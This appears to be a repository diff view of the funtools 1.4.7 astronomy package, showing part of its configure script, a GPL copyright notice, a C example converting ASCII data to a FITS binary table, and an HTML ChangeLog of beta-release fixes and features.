case $host_os in
*cygwin*|*Cygwin* )
CFLAGS="$CFLAGS -enable-auto-import"
AC_DEFINE([HAVE_CYGWIN])
AC_MSG_RESULT(flagging Cygwin)
PRE="sh -c {"
POST="}"
;;
*mingw32*|*Mingw32*)
CFLAGS="$CFLAGS -mconsole -D_WSTRING_DEFINED=1"
EXTRA_LIBS="$EXTRA_LIBS -lwsock32"
AC_DEFINE([HAVE_MINGW32])
AC_MSG_RESULT(flagging MinGW)
;;
*osf*|*Osf*)
AC_CHECK_LIB(db, snprintf, EXTRA_LIBS="$EXTRA_LIBS -ldb")
;;
*darwin*|*Darwin*)
LDFLAGS="$LDFLAGS $CFLAGS"
G=`$CC -v 2>&1 | grep version | awk '{print $3}' | awk -F. '{print $1$2}'`
if test x"$G" != x -a "$G" -lt 42; then
CFLAGS="$CFLAGS -no-cpp-precomp"
fi
if test x"$fpic" = x"yes" ; then
CFLAGS="$CFLAGS -fPIC"
AC_MSG_RESULT([adding -fno-common, -fPIC to CFLAGS])
else
AC_MSG_RESULT([adding -fno-common to CFLAGS])
fi
;;
* )
if test x"$fpic" = x"yes" ; then
if test "$CC" = "gcc" -o `$CC -v 2>&1 | grep -c gcc` != "0" ; then
CFLAGS="$CFLAGS -fPIC"
AC_MSG_RESULT(adding -fPIC to gcc)
else
AC_MSG_RESULT(none)
fi
else
AC_MSG_RESULT(none)
fi
;;
esac
AC_SUBST(EXTRA_LIBS)
AC_SUBST(EXTRA_OBJS)
AC_SUBST(PRE)
AC_SUBST(POST)
AC_SUBST(AWK)
AC_SUBST(GUNZIP)
AC_SUBST(GNUPLOT)
AC_SUBST(PIPEGLUE)
AC_CONFIG_FILES(Makefile ./gnu/Makefile ./funtest/Makefile ./faq/Makefile)
# generate pkg-config meta-data file
AC_CONFIG_FILES(funtools.pc)
# for individual package that create libraries, we must run configure again,
# faking the subdirs into using the funtools library as their library
# this will run faster with --config-cache
ac_configure_args="--with-altlib=`pwd`/$LIB $ac_configure_args"
# AC_CONFIG_SUBDIRS(util fitsy filter wcs)
AC_CONFIG_SUBDIRS(util)
AC_CONFIG_SUBDIRS(fitsy)
AC_CONFIG_SUBDIRS(filter)
AC_CONFIG_SUBDIRS(wcs)
AC_OUTPUT

30
funtools-1.4.7/copyright Normal file
View File

@ -0,0 +1,30 @@
Unless otherwise indicated, all source is:
Copyright (C) 1999-2007
Smithsonian Astrophysical Observatory, Cambridge, MA, USA
Funtools is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Correspondence concerning Funtools should be addressed as follows:
Eric Mandel
Smithsonian Astrophysical Observatory
MS 3
60 Garden St.
Cambridge, MA 02138 USA
eric@cfa.harvard.edu
http://hea-www.harvard.edu/saord/funtools/

View File

@ -0,0 +1,86 @@
/*
*
* asc2fits foo.fits < foo.ascii
*
* This is an example of generating a binary table from specific ASCII input.
* The more general case is much harder.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <funtools.h>
#define SZ_LINE 1024
#define MAXREC 30
typedef struct EvStruct{
int x, y, pha;
double time;
} *Event, EventRec;
int main(int argc, char **argv)
{
int got, put;
char tbuf[SZ_LINE];
Fun fun;
EventRec events[MAXREC];
Event ev;
/* exit on gio errors */
setgerror(2);
if( argc < 2 ){
fprintf( stderr, "usage: %s oname\n", argv[0]);
exit(1);
}
/* open output file */
if( !(fun = FunOpen(argv[1],"w", NULL)) )
gerror(stderr, "Could not open the output file: %s\n", argv[1]);
/* set up the (hardwired) columns */
FunColumnSelect( fun, sizeof(EventRec), NULL,
"x", "J", "w", FUN_OFFSET(Event, x),
"y", "J", "w", FUN_OFFSET(Event, y),
"pha", "J", "w", FUN_OFFSET(Event, pha),
"time", "D", "w", FUN_OFFSET(Event, time),
NULL);
/* ignore first line, which is the header */
fgets(tbuf, SZ_LINE, stdin);
/* process data lines */
got = 0;
/* get next line */
while( fgets(tbuf, SZ_LINE, stdin) ){
/* ignore comments */
if( (*tbuf == '\n') || (*tbuf == '#') )
continue;
/* point to next buffer to fill */
ev = &events[got];
/* parse data record */
if(sscanf(tbuf, "%d %d %d %lf", &ev->x, &ev->y, &ev->pha, &ev->time) != 4)
break;
/* got another record */
got++;
/* flush this batch of records if necessary */
if( got == MAXREC ){
if( (put=FunTableRowPut(fun, events, got, 0, NULL)) != got ){
gerror(stderr, "expected to write %d rows; only wrote %d\n",
got, put);
}
/* reset record counter */
got = 0;
}
}
/* final flush */
if( got ){
if( (put=FunTableRowPut(fun, events, got, 0, NULL)) != got ){
gerror(stderr, "expected to write %d rows; only wrote %d\n",
got, put);
}
}
FunClose(fun);
return(0);
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,953 @@
<HTML>
<HEAD>
<TITLE>Funtools ChangeLog</TITLE>
</HEAD>
<BODY>
<H2>Funtools ChangeLog</H2>
<P>
This ChangeLog covers both the Funtools library and the suite of
applications. It will be updated as we continue to develop and improve
Funtools. The up-to-date version can be found <A
HREF="http://hea-www.harvard.edu/RD/funtools/changelog.html">here</A>.
<H2>Beta release 1.0.b28 (06/26/01)</H2>
<UL>
<P>
<LI> In funcnts, removed extra new-lines from the primary table,
inadvertently added in cases where zero-area rows are skipped.
<P>
<LI> Added code to support columns in binary tables that do not have names.
<P>
<LI> Changed the ds9 radial plot so that the radius (x value) for each
plotted point is taken to be the middle of the annulus, (Rin+Rout)/2,
instead of just the inner annulus, Rin.
</UL>
<H2>Beta release 1.0.b27 (06/21/01)</H2>
<UL>
<P>
<LI> Added missing new-lines in funcnts primary tables that did not
have -r switch.
<P>
<LI> Filtering with dynamic shared objects (gcc only) now links the
region code into the shared object, instead of relying on finding the
region code in global space.
<P>
<LI> A few minor changes to column headers in funcnts.
</UL>
<H2>Beta release 1.0.b26 (05/21/01)</H2>
<UL>
<P>
<LI> Fixed funcnts to work properly when the background region
overlaps the source and therefore explicitly excludes the source.
It was simply ignoring the source regions in such a case.
<P>
Added a second DS9 init file, funcnts2.ds9, which contains funcnts
and radial profile routines that work from the image stored in DS9's
memory, rather than the original FITS file. This is useful in cases
where no original FITS file exists (e.g., a temp file was created
by a program and sent to DS9).
<P>
<LI> Fixed funcnts so that region specified with a variable number of
arguments must come last (as is the case with panda and the n=
accelerator). Thus, a region specification such as "pie 504 512 10 20
30 & circle 504 512 10" is now properly an error. Using "circle 504 512 10
& pie 504 512 10 20 30" instead ensures that the circle is applied to
each pie.
<P>
<LI> Fixed funcnts output of radii/angles when boolean expressions
such as "pie & annulus" are specified.
<P>
<LI> Enhanced funcnts so that -r outputs valid radii for circular regions.
</UL>
<H2>Beta release 1.0.b25 (4/19/01)</H2>
<UL>
<P>
<LI> Added support to funtable to generate a FITS binary table
from an image. By default, a 3-column table is generated, where the
columns are "X", "Y", and "VALUE". For each pixel in the image, a
single row (event) is generated with the "X" and "Y" columns assigned
the dim1 and dim2 values of the image pixel, respectively and the
"VALUE" column assigned the value of the pixel. If the -i
("individual" rows) switch is specified, then only the "X" and "Y"
columns are generated. However the number of rows (events) are written
out for each image pixel is equal to the value of that image pixel(or
1, whichever is larger).
<P>
<LI> Added -z switch to funcnts to display shapes in primary table
that have no area. This is useful when automatic processing assumes
that there are a set number of rows.
<P>
<LI> Reworked how the "$region" column is handled. A "$region" column
can now be added to a table already having a "region" column. If a
"region" column already exists, the new column will be "region1". If
that exists, we try "region2", etc.
<P>
<LI> Added the header parameters EXTNAME="IMAGE" and EXTVER=1 when an
image extension of created automatically.
<P>
<LI> When funcnts is run with -r, the rad1, rad2, ang1, and ang2 columns
are filled in with "NA" if the shape is not annulus, pie, or panda (instead
of being left blank).
<P>
<LI> Changed funcnts to display arc-sec/pixel instead of degrees/pixel in the
output header.
<P>
<LI> Fixed bug in FunColumnSelect() that prevented a new table from
being created that consists only of new columns.
<P>
<LI> Fixed processing of blank values in FunImageRowGet() (was a SEGV).
<P>
<LI> Fixed fundisp processing of images (SEGV upon completion, trying to
free space only used by tables).
<P>
<LI> Fixed bug in funcalc which left executable in /tmp space if -n
(no execute) was specified.
<P>
<LI>Fixed various bugs processing raw event files, especially on
little-endian machines and reading these files via stdin.
<P>
<LI> Changed rad1, rad2 columns to radius1, radius2 in funcnts.
<P>
<LI> Purified dynamically loaded filter code (since purify now can work
with gcc).
</UL>
<H2>Beta release 1.0.b24 (03/26/01)</H2>
<UL>
<P>
<LI> First release of <B>funcalc</B>, the Funtools table calculator.
funcalc is a calculator program that allows arbitrary
expressions to be constructed, compiled, and executed on columns in a
Funtools table (FITS binary table or raw event file). It works by
integrating user-supplied expression(s) into a template C program,
then compiling and executing the program. funcalc expressions
are valid C statements, although some important simplifications (such
as automatic declaration of variables) are supported.
Within a funcalc expression, reference is made to a
column of the <B>current</B> row using the C syntax
<B>cur->[colname]</B>, e.g. cur->x, cur->pha, etc. Local scalar
variables can either be defined using C syntax at very the beginning
of the expression, or else they can be defined automatically by
funcalc (to be of type double). Thus, for example, a swap of
columns x and y in a table can be performed using either of the following
equivalent funcalc expressions:
<PRE>
double temp;
temp = cur->x;
cur->x = cur->y;
cur->y = temp;
</PRE>
or:
<PRE>
temp = cur->x;
cur->x = cur->y;
cur->y = temp;
</PRE>
When this expression is executed using a command such as:
<PRE>
funcalc -f swap.expr itest.ev otest.ev
</PRE>
the resulting file will have values of the x and y columns swapped.
Many other features are available in funcalc to make table
manipulation easy. See the Funtools program.html documentation.
<P>
<LI> First release of the <B>funtools.ds9</B> set-up file for adding
Funtools analysis programs to the DS9 Analysis menu. This set-up file
is installed in the same bin directory where Funtools programs are
installed and can be loaded into DS9 from the <B>Load Analysis
Commands ...</B> option of the <B>Analysis</B> menu. Alternatively,
you can tell DS9 to load this file each time it starts by adding the
file to the <B>Edit</B>-><B>Preferences</B>-><B>Analysis
Menu</B>-><B>Analysis File</B> menu option.
<P>
<LI> Added support for non-integral binning of binary tables. The bincols
specifier on the command line now can take the form:
<PRE>
bincols=([xname[:tlmin[:tlmax:[binsiz]]]],[yname[:tlmin[:tlmax[:binsiz]]]])
</PRE>
where the tlmin, tlmax, and binsiz specifiers determine the image binning
dimensions:
<PRE>
dim = (tlmax - tlmin)/binsiz (floating point data)
dim = (tlmax - tlmin)/binsiz + 1 (integer data)
</PRE>
These tlmin, tlmax, and binsiz specifiers can be omitted if TLMIN,
TLMAX, and TDBIN header parameters (respectively) are present in the
FITS binary table header for the column in question. Note that if
only one parameter is specified, it is assumed to be tlmax, and tlmin
defaults to 1. If two parameters are specified, they are assumed to be
tlmin and tlmax.
<P>
<LI> Added "mask=transparent" support to the plist argument in
FunTableRowGet(). If this string is passed in the call's plist
argument, then all events are passed back to the user. This is useful
when FunColumnSelect() specifies "$region" as a column in order to
return the regionid value for each event. In such a case, events
found in a region have regionid >0, events passing the filter but not
in a region have regionid == -1, events not passing the filter have
regionid ==0.
<P>
<LI> Added FUN_WCS0 to the FUN_WCS option available to FunInfoGet().
The original FUN_WCS option returns WCS Library handle (for use with
Doug Mink's wcssubs library) suitable for use with images, regardless
of whether the data are images or tables. For this structure, the WCS
reference point (CRPIX) has been converted to image coordinates if the
underlying file is a table (and therefore in physical coordinates). The
new FUN_WCS0 structure has not had its WCS reference point converted
to image coordinates. It therefore is useful when passing processing
physical coordinates from a table.
<P>
<LI> Added -G switch to funcnts to print out floating point values
with maximum %.14g precision.
<P>
<LI> Added -l switch to fundisp, which displays the pixels of an image as
a list with X, Y, VAL columns.
<P>
<LI> Added support for images to funhist. The program will create
a histogram of the values found in each pixel, or it can perform
a projection over either axis.
<P>
<LI> All Funtools programs now accept "-" to mean "stdin" or "stdout",
when the io mode is "r" or "w", respectively.
<P>
<LI> Changed behavior of the prec (precision) argument in FunParamPutd()
(and the underlying fitsy routine ft_cardfmt()) so that if the double
value being put is less than 0.1 or greater than or equal to
10**(20-2-prec), then %20.[prec]e format is used, otherwise
%20.[prec]f format is used.
<P>
<LI> Fixed behavior of "merge=replace" in FunColumnSelect() so that if
tlmin/tlmax values are not specified in the replacing column, but are
specified in the replaced column, then the original tlmin/tlmax values
are used in the replacing column.
<P>
<LI> Improved funcnts error-handling when no valid region is specified.
<P>
<LI> Fixed region parsing of '#' comment character so that comments
are terminated by new-lines, but not ';'. This is more intuitive behavior.
<P>
<LI> Fixed region parser so that a region (without parens), followed by
a column expression (e.g., "circle 5 5 1,pha==4") is processed correctly.
<P>
<LI> Fixed funcnts so that the timecorr parameter specified by -t
[timecorr] can be in lower case.
<P>
<LI> Fixed panda region shapes when processing a blocked image. The
number of pies and number of annuli (args 5 and 8) were incorrectly
being divided by the block factor (i.e., they were being treated as
sizes).
<P>
<LI> Fixed bug in funcnts that resulted in slightly smaller
integerized pixel boundaries being used when filtering events. This
does not affect ordinary event filtering(in fundisp, funtable, etc.).
In funcnts (which filters binary table events using image-style pixel
filtering), this bug could result in fewer photons being counted than
is the case when the equivalent image is used.
<P>
<LI> Fixed funcnts to work with raw event files on little-endian machines.
<P>
<LI> Fixed funhist so that it will read data from a pipe.
<P>
<LI> Fixed region parser (and funcnts) so that an include file ending
with a comment stops the comment at the end of the include file.
<P>
<LI> Clarified the meaning of the "," operator (should it be "or" or
"and") between a region and a non-region expression in a filter: if
the second operand in the expression contains a region, the operator
is "or", otherwise it is "and".
<P>
<LI> Fixed bug in funmerge, which was not handling integerization of
negatively-valued physical pixels properly (not actually used in any
known application).
</UL>
<H2>Beta release 1.0.b23 (02/16/01)</H2>
<UL>
<P>
<LI> Fixed funcnts to report area correctly in arc-seconds.
<P>
<LI> Fixed funcnts to report radii correctly when summing.
<P>
<LI> Fixed bug in fundisp: a SEGV when trying to display an ASCII column
from a binary table.
</UL>
<H2>Beta release 1.0.b22 (02/15/01)</H2>
<UL>
<P>
<LI> Funcnts now will automatically output appropriate columns from
the primary table in units of arc-seconds instead of pixels if WCS info
is present. Use -p to force the output to be in pixels.
<P>
<LI> Added qualitative exposure correction to funcnts by means of the switch
"-e source_exp[;background_exp]". For each region, the average exposure is
calculated and net counts (and background) are divided by the average
exposure. See programs.html for more info.
<P>
<LI> Added qualitative time correction to funcnts by means of the switch
"-t source_time[;background_time]". The net counts (and background) are
divided by this time. See programs.html for more info.
<P>
<LI> Improved funcnts output. For example, column units are displayed
(since surf_bri units now can be cnts/pix**2, cnts/arcsec**2, etc.)
<P>
<LI> Changed funcnts.gnuplot and funhist.gnuplot scripts to funcnts.plot
and funhist.plot, respectively. The new scripts take an argument
such as "gnuplot" or "ds9" and output data appropriate for each
target. Also enhanced funcnts.plot so that it senses the axis units
automatically.
<P>
<LI> Fixed bug in funcnts when handling regions whose centers are out of the
image. Processing often resulted in BUS ERROR or zero counts, and it took
forever to reach those results
<P>
<LI> Fixed bug in FunImagePut() when outputting float data on
little-endian machines (PCs/Dec Alpha) -- an erroneous error was
signaled trying to convert from native to IEEE before writing.
<P>
<LI> Fixed bug in fundisp when displaying the mask of a double/float
image using the mask=all option.
<P>
<LI> Fixed bug in fitsy/headimage/ft_imageloadhead(fits), in which the
default value for LTV[1,2] was incorrectly set to 1.0, not 0.0. This
means that region physical coordinates applied to FITS images and
arrays that did not have LTM/LTV keywords were 1 pixel off.
<P>
<LI> Fixed obscure bug in region circle processing when a block factor
is specified in the section command but the circle has radius less
than the block.
<P>
<LI> Fixed bug in FunImageGet which was returning the full image in
cases where a region was specified but no image pixels were in the
region. An empty image is now returned.
</UL>
<H2>Beta release 1.0.b21 (02/01/01)</H2>
<UL>
<P>
<LI> In funcnts, added ability to specify a separate background file.
When using a separate background file, the background area will be
normalized by the ration of the pixel sizes of the two files, if
requisite WCS info is available.
<P>
<LI> In funcnts, added -r switch to output radii (and angle)
information. This is useful with annulus and panda shapes when
plotting radial profiles. An example plot script, funcnts.gnuplot, is
available for use with gnuplot (3.7 and higher):
<PRE>
funcnts ... | funcnts.gnuplot
</PRE>
<P>
<LI> First version of the funhist program, which creates a 1D
histogram by binning the specified column in a binary table. The
tabular output can be plotted using funhist.gnuplot:
<PRE>
funhist snr.ev x | funhist.gnuplot
</PRE>
<P>
<LI> Added additional error messages to funcnts when invalid binning
parameters are found for one or more binary table binning columns.
<P>
<LI> Fixed bug in FunImagePut() which sometimes occurred when
dimensions were passed in the calling sequence. If, in addition, a
reference handle was passed in the FunOpen() call, then the output
dimensions are erroneously taken from the reference file, not the
passed dimensions.
<P>
<LI> Fixed bug in filter lex code (filt.l) in which yyrestart was
being called incorrectly with the string to be parsed as the argument
(should be NULL).
<P>
<LI> Fixed bug in filter code in which the Sun cc compiler was creating
a useless .o file in the working directory.
<P>
<LI> Fixed bug in region parser which made it impossible to specify
angles with a 'd' or 'r' suffix unless WCS info was in the file. (The
use of 'd' or 'r' with angle is independent of WCS but the check was
there anyway.)
</UL>
<H2>Beta release 1.0.b20 (11/29/00)</H2>
<UL>
<P>
<LI> Fixed a serious bug in which exclude regions were being ignored
when multiple annuli were specified. That is, in a region specification
such as:
<PRE>
annulus 512 512 0 100 n=4; -circle 510 510 20
</PRE>
or
<PRE>
annulus 512 512 0 25 50 75 100; -circle 510 510 20
</PRE>
the excluded region was not being sensed properly. Note that
single regions did work properly with exclude regions.
<P>
<LI> Optimized funcnts so that the time for processing an event list
(binary table) is no longer proportional to the number of pixels in
the image. The unoptimized code was taking forever with Chandra ACIS
images (8192**2 pixels), even with relatively few events.
<P>
<LI> Fixed bugs that gave incorrect answers when image regions were
combined with image sections.
<P>
<LI> Fixed bug in parsing image section of the form: "foo.fits[*,6:9,2]",
i.e. the default ("*") x dimensions, followed by specified y dimensions.
<P>
<LI> Added -g option to funcnts to change some output formats from
12.3f to 12.3g to accommodate display of very small numbers.
</UL>
<H2>Beta release 1.0.b19 (11/21/00)</H2>
<UL>
<P>
<LI> Fixed bug in filter code that caused a SEGV on Solaris machines
when the first specified spatial region is an exclude region. Our
user-supplied qsort/compare algorithm was confusing the Solaris qsort()
routine, causing it to SEGV by trying to process a record prior to the
beginning of the passed array of records.
</UL>
<H2>Beta release 1.0.b18 (11/13/00)</H2>
<UL>
<P>
<LI> Fixed bug in handling bitpix=-32 (single float) images.
<P>
<LI> Fixed gio gskip routine to better handle skip of 0 bytes.
</UL>
<H2>Beta release 1.0.b17 (11/10/00)</H2>
<UL>
<P>
<LI> Fixed working of $REGION keyword in funtable.
<P>
<LI> Removed FunFlush() from end of funtable (it was redundant).
<P>
<LI> Fixed bug in gopen() handling of "pipe:".
<P>
<LI> Fixed bug in gseek() where pipes, streams, and sockets were
not skipping bytes properly (that can do skips, but cannot do other
sorts of seek).
</UL>
<H2>Beta release 1.0.b16 (10/23/00)</H2>
<UL>
<P>
<LI> Added -s switch to funcnts to support display of summed results
(as well as individual results for each region), i.e. each row in the
summed bkgd-subtracted table contains the sum of counts and areas from
previous rows.
<P>
<LI> Added -f [format] switch to fundisp to allow control over the
display format for each data type.
<P>
<LI> Fixed bug in which regions could be incorrectly re-ordered. This
was a problem with annular ellipses and rectangles created by ds9 and
then used in funcnts (the only program where the order of the regions is
important).
</UL>
<H2>Beta release 1.0.b15 (10/11/00)</H2>
<UL>
<P>
<LI> Changed the names of routines FunEventsGet() and FunEventsPut()
to FunTableRowGet() and FunTableRowPut(), respectively. The old names
are still valid (using #define in funtools.h), so no code change is
required.
<P>
<LI> Changed funevents program name to funtable, in line with API changes.
<P>
<LI> Renamed FunInfoGet/Put() parameter FUN_EVSIZE to FUN_ROWSIZE, in
order to reflect change from use of "events" to use of "row" in
funtools binary table support. The old name is still supported as
an alias.
<P>
<LI> Completed first version of funmerge program to merge FITS binary tables.
<P>
<LI> Fixed bug in line region shape that was causing a SEGV with event data.
<P>
<LI> Fixed minor compiler warnings using "gcc-Wall".
<P>
<LI> Added the ability for FunOpen() to open a list of event files and
read events from this list synchronously or asynchronously. This
facility is part of an experimental set of parallel processing
techniques that are being added to funtools. Documentation will be
forthcoming when we know which techniques have value!
</UL>
<H2>Beta release 1.0.b14 (9/22/00)</H2>
<UL>
<P>
<LI> Added first version of funmerge program to merge FITS binary tables.
<P>
<LI> Changed the output format of funcnts so that the main results
(background-subtracted table) are displayed first. This means that the
result columns always start at line 4 in the file (after a 1-line
comment and a 2-line header) and end at the first blank line. The
fixed format makes it easier for programs such as sed to extract
results for further processing. For example:
<PRE>
csh> cat fun.sed
1,/---- .*/d
/^$/,$d
csh> funcnts snr.ev[pha==1] "annulus 512 512 0 200 n=8" | sed -f fun.sed
1 49.000 7.000 0.000 0.000 1941 0.025 0.004
2 91.000 9.539 0.000 0.000 5884 0.015 0.002
3 129.000 11.358 0.000 0.000 9820 0.013 0.001
4 159.000 12.610 0.000 0.000 13752 0.012 0.001
5 176.000 13.266 0.000 0.000 17652 0.010 0.001
6 183.000 13.528 0.000 0.000 21612 0.008 0.001
7 137.000 11.705 0.000 0.000 25528 0.005 0.000
8 198.000 14.071 0.000 0.000 29420 0.007 0.000
</PRE>
<P>
<LI> Fixed bug in row# processing in which all range was ignored if
lo range value was 1 (e.g., row#=1:7).
<P>
<LI> Fixed bug in event header processing in which the multiple
instances of keywords HISTORY, COMMENT, and CONTINUE were not all
being copied from the old to the new header (e.g. in funevents).
<P>
<LI> Fixed processing of ARRAY() and EVENTS() specifiers in FunOpen().
<P>
<LI> Fixed 'make clean' directive so that it also cleans funtools subdirs.
</UL>
<H2>Beta release 1.0.b12 (9/5/00)</H2>
<UL>
<P>
<LI> Improved the performance of panda regions so that the funcnts
"wall time" now is proportional to the size of the panda region, not
the size of the image. (The latter is the case with the pie shape; use
of panda is recommended over pie.) This means that it is possible to
run funcnts on an ACIS file at zoom 1 (8192x8192) in seconds rather
than (tens of) minutes.
<P>
<LI> Added support for INET sockets to gio and hence, to funtools.
This means that you can read/write from/to sockets on other machines,
creating a distributed pipeline. For example:
<PRE>
on m1: funevents foo.ev m2:1428
on m2: funevents :1428 m3:1428
on m3: funevents :1428 ...
</PRE>
etc. Tests indicate that this is faster than pipes on a single
machine, once the CPU is saturated on that machine. (But note that it
is not faster until the CPU is saturated, due to the efficiency of
Unix pipes and the I/O wait time on non-saturated CPUs.) This new
facility implements the parallel processing technique called "process
decomposition" for pipelines, in which a pipeline process is run on
several machines at once, with different machines handling separate
parts of the pipeline process.
<P>
NB: socket support requires that the libraries:
<PRE>
-lsocket -lnsl
</PRE>
be added to the Solaris link line.
<P>
<LI> Added support for the row#=lo:hi keyword to process specific rows
in a FITS binary table. For example:
<PRE>
funevents "test.ev[row#=3:8]" stdout ...
or
funevents "test.ev[row#=(3,8)]" stdout ...
</PRE>
will only process rows 3 to 8 (inclusive) of the test.ev file. Along
with image section specification, use of the row#= keyword implements
the parallel processing technique called "data decomposition", in
which several copies of a single program operate on different parts of
a single data file.
<P>
<LI> Added guard code to image region processing to catch illegal event
values.
<P>
<LI> Fixed bug when writing FITS image extensions in which dim1, dim2,
and bitpix were being output as 0.
<P>
<LI> reversed the y row order of displayed images in fundisp, so that pixel
(1,1) is in the lower left corner, as is the case for ds9 image display.
</UL>
<H2>Beta release 1.0.b11 (8/10/00)</H2>
<UL>
<P>
<LI> Fixed annulus accelerators and panda regions -- again. Old
problems (from the original implementation) were uncovered related to
the use of these shapes in boolean expressions. Documented an old
restriction that panda and accelerators must be put last in a boolean
expression and added code to signal an error if they are not placed last.
<P>
<LI> The behavior of the point shape was changed so that multiple x,y
pairs in a single shape specifier now are assigned different region
ids. This makes the behavior of points and annuli consistent with one
another.
</UL>
<H2>Beta release 1.0.b10 (8/08/00)</H2>
<UL>
<P>
<LI> Fixed annulus accelerators and panda regions. These were
broken when dynamic loading was implemented.
<P>
<LI> Fixed a bug in the event filter body code (i.e., the basis for
the slave filter program). Reading the data sometimes incorrectly
calculated the number of events being passed -- which only showed up
occasionally on the Alpha!
</UL>
<H2>Beta release 1.0.b9 (8/03/00)</H2>
<UL>
<P>
<LI> Removed compilation of some extraneous routines from wcs library.
Also renamed wcssubs directory to wcs.
<P>
<LI> Added calls to hlength() before wcsinit(). This is necessary in
ds9 (and is a safeguard in other programs) because once hlength() is
called before any invocation of wcsinit(), it must always be used.
<P>
<LI> Fixed bug in filter code in which CTYPE1 and CTYPE2 param values
were not being passed to wcsinit() as valid FITS strings: the single
quotes were missing.
<P>
<LI> Fixed a bug in fitsy in which the card buffer was not being
null-terminated properly when a "card insert" call reallocated space
for more cards.
<P>
<LI> Added protective code so that one cannot set FILTER_PTYPE to
"dynamic" if dynamic filter objects are not available.
<P>
<LI> Ported to Debian Linux, which (believe it or not) required
removal of extraneous strdup() and strstr() declarations in the code
(apparently these are macros in that version of Debian gcc, so you
cannot declare them).
</UL>
<H2>Beta release 1.0.b8 (8/01/00)</H2>
<UL>
<P>
<LI> Added new filter ptype ("contained"), which builds a separate
process by compiling both the main routine and the region code. This
is different from the "process" ptype, which compiles the main
routine, but links in pre-compiled region code (in order to make the
program build more quickly). It is needed by ds9 so that the latter
does not have to keep track of the compiled region code module.
</UL>
<H2>Beta release 1.0.b7 (7/25/00)</H2>
<UL>
<P>
<LI> Changed filter code so that, in simple cases, we can access the
contents of a file. This is needed so that funcnts can work properly in one
oft-used case, i.e., if the file foo contains:
<PRE>
circle 5 5 1
circle 4 4 1
</PRE>
then:
<PRE>
funcnts foo.fits @foo
</PRE>
now will display the 2 regions in its output, instead of displaying the
near useless "@foo". This only works for simple cases where only a file
is input, not in odd combinations like:
<PRE>
funcnts foo.fits "@foo,circle 1 1 1"
</PRE>
<P>
<LI> Added programming tutorial and enhanced the programming
reference documentation.
<P>
<LI> Ported to Windows via the Cygwin environment from
RedHat. We tested on an NT box, which has decent multi-tasking
support. Whether it works on Windows95 is unknown.
<P>
<LI> Upgraded WCS libraries to 2.8.3.
<P>
<LI> Ported to new and strict SGI C compiler, which uncovered
lots of unused variables, etc.
<P>
<LI> Fixed FunParamPut status return.
</UL>
<H2>Beta release 1.0.b6 (7/15/00)</H2>
<UL>
<P>
<LI> Ran Purify with each high level program and each funtest
program.
<P>
<LI> Changed behavior of merge=update option of
FunColumnSelect() so that the update of the user column value only
takes place if the user mode has "w" in it. Previously, merge=update
overrode the mode flag and always updated the user value. Note that
all calls to FunColumnSelect with merge=update must change "r" to "rw"
in order to have that user column merged. (The merge=replace already
was checking the mode flag -- the fact that they were doing different
things is a bug.)
<P>
<LI> Added ability to FunOpen extensions by HDU name. (I
thought I had already done this!)
<P>
<LI> Fixed bug that was adding a NULL table at the end of
most binary table files (i.e., those that were not copying the rest of
the input file).
<P>
<LI> Re-ported to Alpha. The problem found most often was the
casting of pointers to ints when doing pointer calculations, i.e.:
<PRE>
char *s, *t;
n = ((int)s - (int)t);
</PRE>
which is invalid on the 64-bit Alpha. Instead use:
<PRE>
char *s, *t;
n = (s - t);
</PRE>
Also broadened the check for use of dlopen in configure to match Alpha's
library configurations (On Alpha, dlopen is in libc).
<P>
<LI> Changed FunColumnActivate() so that funtools will
process columns in the sorted order specified by that routine. Thus:
<PRE>
fundisp foo.ev "time y x"
</PRE>
will display columns in that order.
<P>
Sorting does not take place if the activate list contains only exclude
columns (since there is nothing to sort). Also, you can turn off
sorting altogether (mimicking the old behavior) by calling
FunColumnActivate() with a "sort=false" in the plist argument:
<PRE>
FunColumnActivate(fun, "y x", "sort=false");
</PRE>
or by adding "sort=false" to the activate string itself:
<PRE>
# by default, its sorted
fundisp $E "time y x"
TIME Y X
---------------- ------- -------
6.8500 -7 -7
6.8600 -7 -7
</PRE>
while:
<PRE>
# turn off sorting
./fundisp $E "time y x sort=false"
X Y TIME
------- ------- ----------------
-7 -7 6.8500
-7 -7 6.8600
-7 -7 6.8700
</PRE>
</UL>
<H2>Beta release 1.0.b5 (7/8/00)</H2>
<UL>
<P>
<LI> Changed all FunParamSet calls to FunParamPut, to make the
naming consistent with FunImagePut, FunEventsPut, etc.
<P>
<LI> Fixed bugs preventing tlmin/tlmax from being changed by the
user in binary tables. Also tlmin/tlmax are now written out using a
data type that matches the data type of the respective column.
<P>
<LI> Extended filter syntax to allow "," as separator between
filename and filters (as well as brackets), i.e.:
<PRE>
foo.fits,events # event extension
foo.fits,pha==1 # filter on default extension
foo.fits,1 # first extension
</PRE>
Note that all but simple expressions will need to be quoted because
of the shell:
<PRE>
foo.fits,pha==1&&pi==2 # & tells shell to run in bkgd
foo.fits,pha==1||pi==2 # similar problems with pipes
foo.fits,circle(1,2,3) # parens are grabbed by shell
</PRE>
<P>
<LI> Fixed configure so that --with-lib is no longer necessary
to generate a single funtools.a library. Removed this argument from
saoconfig. Note that:
<PRE>
./configure
</PRE>
now works properly again, so saoconfig should not be used.
<P>
<LI> Changed FunFlush() mode argument (single characters) to a
plist argument (keyword arguments). In particular,
<PRE>
FunFlush(fun, "C");
</PRE>
is now:
<PRE>
FunFlush(fun, "copy=remaining");
(or FunFlush(fun, "copy=remainder"); )
</PRE>
This syntax extension allows FunFlush to support the copy of the
extension associated with the reference handle, which allows one to
copy any extension from an input file to an output file:
<PRE>
/* open a new input extension */
ifun = FunOpen(...);
/* make this new extension the output reference extension */
FunInfoPut(ofun, FUN_IFUN, &ifun, 0);
/* copy the current reference extension to output */
FunFlush(ofun, "copy=reference");
</PRE>
<P>
<LI> Fixed bugs in region parser that caused pure floating
point positions (i.e., numbers w/o format characters) always to be
interpreted as pixels. Also fixed galactic and ecliptic conversions.
</UL>
<HR>
<P>
<A HREF="./help.html">Index to the Funtools Help Pages</A>
<HR>
<A HREF="./help.html">Index to the Funtools Help Pages</A>
<H5>Last updated: November 17, 2005</H5>
